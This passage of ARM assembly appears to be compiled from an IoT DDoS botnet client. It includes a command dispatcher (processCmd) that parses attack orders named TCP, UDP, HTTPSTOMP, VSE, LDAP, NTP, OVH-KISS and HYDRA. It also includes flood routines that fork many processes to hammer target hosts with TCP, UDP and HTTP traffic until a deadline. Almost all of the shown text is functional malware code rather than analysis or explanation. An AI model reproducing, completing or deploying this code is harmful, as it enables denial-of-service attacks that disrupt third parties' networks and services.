	str	r3, [sp, #516]
	ldr	r3, .L379+500
	str	r3, [sp, #512]
	ldr	r3, .L379+504
	str	r3, [sp, #508]
	ldr	r3, .L379+508
	str	r3, [sp, #504]
	ldr	r3, .L379+512
	str	r3, [sp, #500]
	ldr	r3, .L379+516
	str	r3, [sp, #496]
	ldr	r3, .L379+520
	str	r3, [sp, #492]
	ldr	r3, .L379+524
	str	r3, [sp, #488]
	ldr	r3, .L379+528
	str	r3, [sp, #484]
	ldr	r3, .L379+532
	str	r3, [sp, #480]
	ldr	r3, .L379+536
	str	r3, [sp, #476]
	ldr	r3, .L379+540
	str	r3, [sp, #472]
	ldr	r3, .L379+544
	str	r3, [sp, #468]
	ldr	r3, .L379+548
	str	r3, [sp, #464]
	ldr	r3, .L379+552
	str	r3, [sp, #460]
	ldr	r3, .L379+556
	str	r3, [sp, #456]
	ldr	r3, .L379+560
	str	r3, [sp, #452]
	ldr	r3, .L379+564
	str	r3, [sp, #448]
	ldr	r3, .L379+568
	str	r3, [sp, #444]
	ldr	r3, .L379+572
	str	r3, [sp, #440]
	ldr	r3, .L379+576
	str	r3, [sp, #436]
	ldr	r3, .L379+580
	str	r3, [sp, #432]
	ldr	r3, .L379+584
	str	r3, [sp, #428]
	ldr	r3, .L379+588
	str	r3, [sp, #424]
	ldr	r3, .L379+592
	str	r3, [sp, #420]
	ldr	r3, .L379+596
	str	r3, [sp, #416]
	ldr	r3, .L379+600
	str	r3, [sp, #412]
	ldr	r3, .L379+604
	str	r3, [sp, #408]
	ldr	r3, .L379+608
	str	r3, [sp, #404]
	ldr	r3, .L379+612
	str	r3, [sp, #400]
	ldr	r3, .L379+616
	str	r3, [sp, #396]
	ldr	r3, .L379+620
	str	r3, [sp, #392]
	ldr	r3, .L379+624
	str	r3, [sp, #388]
	ldr	r3, .L379+628
	str	r3, [sp, #384]
	ldr	r3, .L379+632
	str	r3, [sp, #380]
	ldr	r3, .L379+636
	str	r3, [sp, #376]
	ldr	r3, .L379+640
	str	r3, [sp, #372]
	ldr	r3, .L379+644
	str	r3, [sp, #368]
	ldr	r3, .L379+648
	str	r3, [sp, #364]
	ldr	r3, .L379+652
	str	r3, [sp, #360]
	ldr	r3, .L379+656
	str	r3, [sp, #356]
	ldr	r3, .L379+660
	str	r3, [sp, #352]
	ldr	r3, .L379+664
	str	r3, [sp, #348]
	ldr	r3, .L379+668
	str	r3, [sp, #344]
	ldr	r3, .L379+672
	str	r3, [sp, #340]
	ldr	r3, .L379+676
	str	r3, [sp, #336]
	ldr	r3, .L379+680
	str	r3, [sp, #332]
	ldr	r3, .L379+684
	str	r3, [sp, #328]
	ldr	r3, .L379+688
	str	r3, [sp, #324]
	ldr	r3, .L379+692
	str	r3, [sp, #320]
	ldr	r3, .L379+696
	str	r3, [sp, #316]
	ldr	r3, .L379+700
	str	r3, [sp, #312]
	ldr	r3, .L379+704
	str	r3, [sp, #308]
	ldr	r3, .L379+708
	str	r3, [sp, #304]
	ldr	r3, .L379+712
	str	r3, [sp, #300]
	ldr	r3, .L379+716
	str	r3, [sp, #296]
	ldr	r3, .L379+720
	str	r3, [sp, #292]
	ldr	r3, .L379+724
	str	r3, [sp, #288]
	ldr	r3, .L379+728
	str	r3, [sp, #284]
	ldr	r3, .L379+732
	str	r3, [sp, #280]
	ldr	r3, .L379+736
	str	r3, [sp, #276]
	ldr	r3, .L379+740
	str	r3, [sp, #272]
	ldr	r3, .L379+744
	str	r3, [sp, #268]
	ldr	r3, .L379+748
	str	r3, [sp, #264]
	ldr	r3, .L379+752
	str	r3, [sp, #260]
	ldr	r3, .L379+756
	str	r3, [sp, #256]
	ldr	r3, .L379+760
	str	r3, [sp, #252]
	ldr	r3, .L379+764
	str	r3, [sp, #248]
	ldr	r3, .L379+768
	str	r3, [sp, #244]
	ldr	r3, .L379+772
	str	r3, [sp, #240]
	ldr	r3, .L379+776
	str	r3, [sp, #236]
	ldr	r3, .L379+780
	str	r3, [sp, #232]
	ldr	r3, .L379+784
	str	r3, [sp, #228]
	ldr	r3, .L379+788
	str	r3, [sp, #224]
	ldr	r3, .L379+792
	str	r3, [sp, #220]
	ldr	r3, .L379+796
	str	r3, [sp, #216]
	ldr	r3, .L379+800
	str	r3, [sp, #212]
	ldr	r3, .L379+804
	str	r3, [sp, #208]
	ldr	r3, .L379+808
	str	r3, [sp, #204]
	ldr	r3, .L379+812
	str	r3, [sp, #200]
	ldr	r3, .L379+816
	str	r3, [sp, #196]
	ldr	r3, .L379+820
	str	r3, [sp, #192]
	ldr	r3, .L379+824
	str	r3, [sp, #188]
	ldr	r3, .L379+828
	str	r3, [sp, #184]
	ldr	r3, .L379+832
	str	r3, [sp, #180]
	ldr	r3, .L379+836
	str	r3, [sp, #176]
	ldr	r3, .L379+840
	str	r3, [sp, #172]
	ldr	r3, .L379+844
	str	r3, [sp, #168]
	ldr	r3, .L379+848
	str	r3, [sp, #164]
	ldr	r3, .L379+852
	str	r3, [sp, #160]
	ldr	r3, .L379+856
	str	r3, [sp, #156]
	ldr	r3, .L379+860
	str	r3, [sp, #152]
	ldr	r3, .L379+864
	str	r3, [sp, #148]
	ldr	r3, .L379+868
	str	r3, [sp, #144]
	ldr	r3, .L379+872
	str	r3, [sp, #140]
	ldr	r3, .L379+876
	str	r3, [sp, #136]
	ldr	r3, .L379+880
	str	r3, [sp, #132]
	ldr	r3, .L379+884
	str	r3, [sp, #128]
	ldr	r3, .L379+888
	str	r3, [sp, #124]
	ldr	r3, .L379+892
	str	r3, [sp, #120]
	ldr	r3, .L379+896
	str	r3, [sp, #116]
	ldr	r3, .L379+900
	str	r3, [sp, #112]
	ldr	r3, .L379+904
	str	r3, [sp, #108]
	ldr	r3, .L379+908
	str	r3, [sp, #104]
	ldr	r3, .L379+912
	str	r3, [sp, #100]
	ldr	r3, .L379+916
	str	r3, [sp, #96]
	ldr	r3, .L379+920
	str	r3, [sp, #92]
	ldr	r3, .L379+924
	str	r3, [sp, #88]
	ldr	r3, .L379+928
	str	r3, [sp, #84]
	ldr	r3, .L379+932
	str	r3, [sp, #80]
	ldr	r3, .L379+936
	str	r3, [sp, #76]
	ldr	r3, .L379+940
	str	r3, [sp, #72]
	ldr	r3, .L379+944
	str	r3, [sp, #68]
	ldr	r3, .L379+948
	str	r3, [sp, #64]
	ldr	r3, .L379+952
	str	r3, [sp, #60]
	ldr	r3, .L379+956
	str	r3, [sp, #56]
	ldr	r3, .L379+960
	str	r3, [sp, #52]
	ldr	r3, .L379+964
	str	r3, [sp, #48]
	ldr	r3, .L379+968
	str	r3, [sp, #44]
	ldr	r3, .L379+972
	str	r3, [sp, #40]
	ldr	r3, .L379+976
	str	r3, [sp, #36]
	ldr	r3, .L379+980
	str	r3, [sp, #32]
	ldr	r3, .L379+984
	str	r3, [sp, #28]
	ldr	r3, .L379+988
	str	r3, [sp, #24]
	ldr	r3, .L379+992
	str	r3, [sp, #20]
	ldr	r3, .L379+996
	str	r3, [sp, #16]
	ldr	r3, .L379+1000
	str	r3, [sp, #12]
	ldr	r3, .L379+1004
	str	r3, [sp, #8]
	ldr	r3, .L379+1008
	str	r3, [sp, #4]
	ldr	r3, .L379+1012
	str	r3, [sp]
	ldr	r3, .L379+1016
	ldr	r2, .L379+1020
	ldr	r1, .L379+1024
	bl	sprintf
	mov	r3, #0
	str	r3, [fp, #-2588]
	b	.L373
.L377:
	bl	rand
	mov	r3, r0
	cmp	r3, #0
	and	r3, r3, #1
	rsblt	r3, r3, #0
	ldr	r2, .L379+1028
	ldr	r3, [r2, r3, lsl #2]
	sub	r2, fp, #2048
	sub	r2, r2, #4
	sub	r2, r2, #4
	sub	r0, fp, #2560
	sub	r0, r0, #4
	sub	r0, r0, #4
	str	r3, [sp]
	ldr	r3, [fp, #-2592]
	ldr	r1, .L379+1032
	bl	sprintf
	bl	fork
	mov	r3, r0
	cmp	r3, #0
	beq	.L374
	b	.L375
.L376:
	sub	r3, fp, #4
	sub	r3, r3, #2576
	sub	r3, r3, #14
	ldrh	r3, [r3]
	mov	r1, r3
	ldr	r0, [fp, #-2592]
	bl	socket_connect
	str	r0, [fp, #-2576]
	ldr	r3, [fp, #-2576]
	cmp	r3, #0
	beq	.L375
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #4
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	write
	sub	r3, fp, #2560
	sub	r3, r3, #4
	sub	r3, r3, #8
	mov	r2, #1
	mov	r1, r3
	ldr	r0, [fp, #-2576]
	bl	read
	ldr	r0, [fp, #-2576]
	bl	close
.L375:
	mov	r0, #0
	bl	time
	mov	r2, r0
	ldr	r3, [fp, #-2584]
	cmp	r3, r2
	bgt	.L376
	mov	r0, #0
	bl	exit
.L374:
	ldr	r3, [fp, #-2588]
	add	r3, r3, #1
	str	r3, [fp, #-2588]
.L373:
	ldr	r2, [fp, #-2588]
	ldr	r3, [fp, #-2604]
	cmp	r2, r3
	blt	.L377
	nop
	ldr	r3, .L379
	ldr	r2, [r3]
	ldr	r3, [fp, #-8]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L378
	bl	__stack_chk_fail
.L378:
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L380:
	.align	2
.L379:
	.word	.LC300
	.word	.LC47
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	.LC51
	.word	.LC52
	.word	.LC53
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.word	.LC58
	.word	.LC59
	.word	.LC60
	.word	.LC61
	.word	.LC62
	.word	.LC63
	.word	.LC64
	.word	.LC65
	.word	.LC66
	.word	.LC67
	.word	.LC68
	.word	.LC69
	.word	.LC70
	.word	.LC71
	.word	.LC72
	.word	.LC73
	.word	.LC74
	.word	.LC75
	.word	.LC76
	.word	.LC77
	.word	.LC78
	.word	.LC79
	.word	.LC80
	.word	.LC81
	.word	.LC82
	.word	.LC83
	.word	.LC84
	.word	.LC85
	.word	.LC86
	.word	.LC87
	.word	.LC88
	.word	.LC89
	.word	.LC90
	.word	.LC91
	.word	.LC92
	.word	.LC93
	.word	.LC94
	.word	.LC95
	.word	.LC96
	.word	.LC97
	.word	.LC98
	.word	.LC99
	.word	.LC100
	.word	.LC101
	.word	.LC102
	.word	.LC103
	.word	.LC104
	.word	.LC105
	.word	.LC106
	.word	.LC107
	.word	.LC108
	.word	.LC109
	.word	.LC110
	.word	.LC111
	.word	.LC112
	.word	.LC113
	.word	.LC114
	.word	.LC115
	.word	.LC116
	.word	.LC117
	.word	.LC118
	.word	.LC119
	.word	.LC120
	.word	.LC121
	.word	.LC122
	.word	.LC123
	.word	.LC124
	.word	.LC125
	.word	.LC126
	.word	.LC127
	.word	.LC128
	.word	.LC129
	.word	.LC130
	.word	.LC131
	.word	.LC132
	.word	.LC133
	.word	.LC134
	.word	.LC135
	.word	.LC136
	.word	.LC137
	.word	.LC138
	.word	.LC139
	.word	.LC140
	.word	.LC141
	.word	.LC142
	.word	.LC143
	.word	.LC144
	.word	.LC145
	.word	.LC146
	.word	.LC147
	.word	.LC148
	.word	.LC149
	.word	.LC150
	.word	.LC151
	.word	.LC152
	.word	.LC153
	.word	.LC154
	.word	.LC155
	.word	.LC156
	.word	.LC157
	.word	.LC158
	.word	.LC159
	.word	.LC160
	.word	.LC161
	.word	.LC162
	.word	.LC163
	.word	.LC164
	.word	.LC165
	.word	.LC166
	.word	.LC167
	.word	.LC168
	.word	.LC169
	.word	.LC170
	.word	.LC171
	.word	.LC172
	.word	.LC173
	.word	.LC174
	.word	.LC175
	.word	.LC176
	.word	.LC177
	.word	.LC178
	.word	.LC179
	.word	.LC180
	.word	.LC181
	.word	.LC182
	.word	.LC183
	.word	.LC184
	.word	.LC185
	.word	.LC186
	.word	.LC187
	.word	.LC188
	.word	.LC189
	.word	.LC190
	.word	.LC191
	.word	.LC192
	.word	.LC193
	.word	.LC194
	.word	.LC195
	.word	.LC196
	.word	.LC197
	.word	.LC198
	.word	.LC199
	.word	.LC200
	.word	.LC201
	.word	.LC202
	.word	.LC203
	.word	.LC204
	.word	.LC205
	.word	.LC206
	.word	.LC207
	.word	.LC208
	.word	.LC209
	.word	.LC210
	.word	.LC211
	.word	.LC212
	.word	.LC213
	.word	.LC214
	.word	.LC215
	.word	.LC216
	.word	.LC217
	.word	.LC218
	.word	.LC219
	.word	.LC220
	.word	.LC221
	.word	.LC222
	.word	.LC223
	.word	.LC224
	.word	.LC225
	.word	.LC226
	.word	.LC227
	.word	.LC228
	.word	.LC229
	.word	.LC230
	.word	.LC231
	.word	.LC232
	.word	.LC233
	.word	.LC234
	.word	.LC235
	.word	.LC236
	.word	.LC237
	.word	.LC238
	.word	.LC239
	.word	.LC240
	.word	.LC241
	.word	.LC242
	.word	.LC243
	.word	.LC244
	.word	.LC245
	.word	.LC246
	.word	.LC247
	.word	.LC248
	.word	.LC249
	.word	.LC250
	.word	.LC251
	.word	.LC252
	.word	.LC253
	.word	.LC254
	.word	.LC255
	.word	.LC256
	.word	.LC257
	.word	.LC24
	.word	.LC258
	.word	.LC259
	.word	.LC260
	.word	.LC261
	.word	.LC262
	.word	.LC263
	.word	.LC264
	.word	.LC265
	.word	.LC266
	.word	.LC267
	.word	.LC268
	.word	.LC269
	.word	.LC270
	.word	.LC271
	.word	.LC272
	.word	.LC273
	.word	.LC274
	.word	.LC275
	.word	.LC276
	.word	.LC277
	.word	.LC278
	.word	.LC279
	.word	.LC280
	.word	.LC281
	.word	.LC282
	.word	.LC283
	.word	.LC284
	.word	.LC285
	.word	.LC286
	.word	.LC287
	.word	.LC288
	.word	.LC289
	.word	.LC290
	.word	.LC291
	.word	.LC292
	.word	.LC293
	.word	.LC294
	.word	.LC295
	.word	.LC296
	.word	.LC297
	.word	.LC298
	.word	.LC44
	.word	.LC45
	.word	.LC46
	.word	useragents
	.word	.LC299
	.size	ovhl7, .-ovhl7
	.section	.rodata
	.align	2
.LC301:
	.ascii	"Unknown Architecture\000"
	.text
	.align	2
	.global	getArch
	.syntax unified
	.arm
	.fpu softvfp
	.type	getArch, %function
getArch:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	ldr	r3, .L383
	mov	r0, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L384:
	.align	2
.L383:
	.word	.LC301
	.size	getArch, .-getArch
	.section	.rodata
	.align	2
.LC302:
	.ascii	"/usr/bin/python\000"
	.align	2
.LC303:
	.ascii	"22\000"
	.align	2
.LC304:
	.ascii	"/usr/bin/python3\000"
	.align	2
.LC305:
	.ascii	"/usr/bin/perl\000"
	.align	2
.LC306:
	.ascii	"/usr/sbin/telnetd\000"
	.align	2
.LC307:
	.ascii	"Unknown Port\000"
	.text
	.align	2
	.global	getPortz
	.syntax unified
	.arm
	.fpu softvfp
	.type	getPortz, %function
getPortz:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	mov	r1, #0
	ldr	r0, .L391
	bl	access
	mov	r3, r0
	cmn	r3, #1
	beq	.L386
	ldr	r3, .L391+4
	b	.L387
.L386:
	mov	r1, #0
	ldr	r0, .L391+8
	bl	access
	mov	r3, r0
	cmn	r3, #1
	beq	.L388
	ldr	r3, .L391+4
	b	.L387
.L388:
	mov	r1, #0
	ldr	r0, .L391+12
	bl	access
	mov	r3, r0
	cmn	r3, #1
	beq	.L389
	ldr	r3, .L391+4
	b	.L387
.L389:
	mov	r1, #0
	ldr	r0, .L391+16
	bl	access
	mov	r3, r0
	cmn	r3, #1
	beq	.L390
	ldr	r3, .L391+4
	b	.L387
.L390:
	ldr	r3, .L391+20
.L387:
	mov	r0, r3
	pop	{fp, pc}
.L392:
	.align	2
.L391:
	.word	.LC302
	.word	.LC303
	.word	.LC304
	.word	.LC305
	.word	.LC306
	.word	.LC307
	.size	getPortz, .-getPortz
	.section	.rodata
	.align	2
.LC308:
	.ascii	"TCP\000"
	.align	2
.LC309:
	.ascii	"UDP\000"
	.align	2
.LC310:
	.ascii	"HTTPSTOMP\000"
	.align	2
.LC311:
	.ascii	"VSE\000"
	.align	2
.LC312:
	.ascii	"LDAP\000"
	.align	2
.LC313:
	.ascii	"STDHEX\000"
	.align	2
.LC314:
	.ascii	"NTP\000"
	.align	2
.LC315:
	.ascii	"TFTP\000"
	.align	2
.LC316:
	.ascii	"CHARGEN\000"
	.align	2
.LC317:
	.ascii	"RIP\000"
	.align	2
.LC318:
	.ascii	"KILLALL\000"
	.align	2
.LC319:
	.ascii	"ZAP\000"
	.align	2
.LC320:
	.ascii	"DEATH\000"
	.align	2
.LC321:
	.ascii	"KKK\000"
	.align	2
.LC322:
	.ascii	"NUKE\000"
	.align	2
.LC323:
	.ascii	"OVH-KISS\000"
	.align	2
.LC324:
	.ascii	"SLAP-OVH\000"
	.align	2
.LC325:
	.ascii	"VPN-NULL\000"
	.align	2
.LC326:
	.ascii	"NFO\000"
	.align	2
.LC327:
	.ascii	"HYDRA\000"
	.align	2
.LC328:
	.ascii	"HOLD\000"
	.align	2
.LC329:
	.ascii	"JUNK\000"
	.align	2
.LC330:
	.ascii	"STOP\000"
	.align	2
.LC331:
	.ascii	"stop\000"
	.align	2
.LC332:
	.ascii	"Stop\000"
	.text
	.align	2
	.global	processCmd
	.syntax unified
	.arm
	.fpu softvfp
	.type	processCmd, %function
processCmd:
	@ args = 0, pretend = 0, frame = 360
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, r6, r7, r8, fp, lr}
	add	fp, sp, #24
	sub	sp, sp, #380
	str	r0, [fp, #-384]
	str	r1, [fp, #-388]
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L394
	ldr	r3, [fp, #-384]
	cmp	r3, #5
	ble	.L575
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-288]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-284]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-280]
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-276]
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #20]
	str	r3, [fp, #-272]
	ldr	r3, [fp, #-384]
	cmp	r3, #8
	bne	.L397
	ldr	r3, [fp, #-388]
	add	r3, r3, #28
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L398
.L397:
	mov	r3, #10
.L398:
	str	r3, [fp, #-268]
	ldr	r3, [fp, #-384]
	cmp	r3, #6
	ble	.L399
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L400
.L399:
	mov	r3, #0
.L400:
	str	r3, [fp, #-264]
	mov	r1, #44
	ldr	r0, [fp, #-288]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L401
	ldr	r1, .L619+104
	ldr	r0, [fp, #-288]
	bl	strtok
	str	r0, [fp, #-376]
	b	.L402
.L404:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L403
	ldr	r3, [fp, #-268]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-264]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-272]
	str	r3, [sp]
	ldr	r3, [fp, #-276]
	ldr	r2, [fp, #-280]
	ldr	r1, [fp, #-284]
	ldr	r0, [fp, #-376]
	bl	ftcp
	mov	r0, #0
	bl	_exit
.L403:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-376]
.L402:
	ldr	r3, [fp, #-376]
	cmp	r3, #0
	bne	.L404
	b	.L394
.L401:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L576
	ldr	r3, [fp, #-268]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-264]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-272]
	str	r3, [sp]
	ldr	r3, [fp, #-276]
	ldr	r2, [fp, #-280]
	ldr	r1, [fp, #-284]
	ldr	r0, [fp, #-288]
	bl	ftcp
	mov	r0, #0
	bl	_exit
.L394:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+4
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L406
	ldr	r3, [fp, #-384]
	cmp	r3, #5
	ble	.L577
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L577
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L577
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L577
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #1024
	bgt	.L577
	ldr	r3, [fp, #-384]
	cmp	r3, #6
	bne	.L408
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L577
.L408:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-260]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-256]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-252]
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-248]
	ldr	r3, [fp, #-384]
	cmp	r3, #6
	bne	.L409
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L410
.L409:
	mov	r3, #10
.L410:
	str	r3, [fp, #-244]
	mov	r3, #32
	str	r3, [fp, #-240]
	mov	r1, #44
	ldr	r0, [fp, #-260]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L411
	ldr	r1, .L619+104
	ldr	r0, [fp, #-260]
	bl	strtok
	str	r0, [fp, #-372]
	b	.L412
.L414:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L413
	ldr	r3, [fp, #-240]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-244]
	str	r3, [sp]
	ldr	r3, [fp, #-248]
	ldr	r2, [fp, #-252]
	ldr	r1, [fp, #-256]
	ldr	r0, [fp, #-372]
	bl	SendUDP
	mov	r0, #0
	bl	_exit
.L413:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-372]
.L412:
	ldr	r3, [fp, #-372]
	cmp	r3, #0
	bne	.L414
	b	.L406
.L411:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L578
	ldr	r3, [fp, #-240]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-244]
	str	r3, [sp]
	ldr	r3, [fp, #-248]
	ldr	r2, [fp, #-252]
	ldr	r1, [fp, #-256]
	ldr	r0, [fp, #-260]
	bl	SendUDP
	mov	r0, #0
	bl	_exit
.L406:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+8
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L416
	ldr	r3, [fp, #-384]
	cmp	r3, #5
	ble	.L579
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L579
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L579
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L580
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r5, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r6, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r7, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r8, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	str	r3, [sp, #4]
	str	r8, [sp]
	mov	r3, r7
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	SendHTTPHex
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r5, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r6, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r7, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r8, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	str	r3, [sp, #4]
	str	r8, [sp]
	mov	r3, r7
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	sendHTTPtwo
	mov	r0, #0
	bl	exit
.L416:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+12
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L420
	ldr	r3, [fp, #-384]
	cmp	r3, #5
	ble	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #65536
	bgt	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+16
	cmp	r3, r2
	bgt	.L581
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #32
	bgt	.L581
	ldr	r3, [fp, #-384]
	cmp	r3, #7
	bne	.L422
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L581
.L422:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-60]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-56]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-52]
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-48]
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-44]
	ldr	r3, [fp, #-384]
	cmp	r3, #6
	ble	.L423
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L424
.L423:
	mov	r3, #1000
.L424:
	str	r3, [fp, #-40]
	ldr	r3, [fp, #-384]
	cmp	r3, #7
	ble	.L425
	ldr	r3, [fp, #-388]
	add	r3, r3, #28
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L426
.L425:
	ldr	r3, .L619+20
.L426:
	str	r3, [fp, #-36]
	ldr	r3, [fp, #-384]
	cmp	r3, #8
	ble	.L427
	ldr	r3, [fp, #-388]
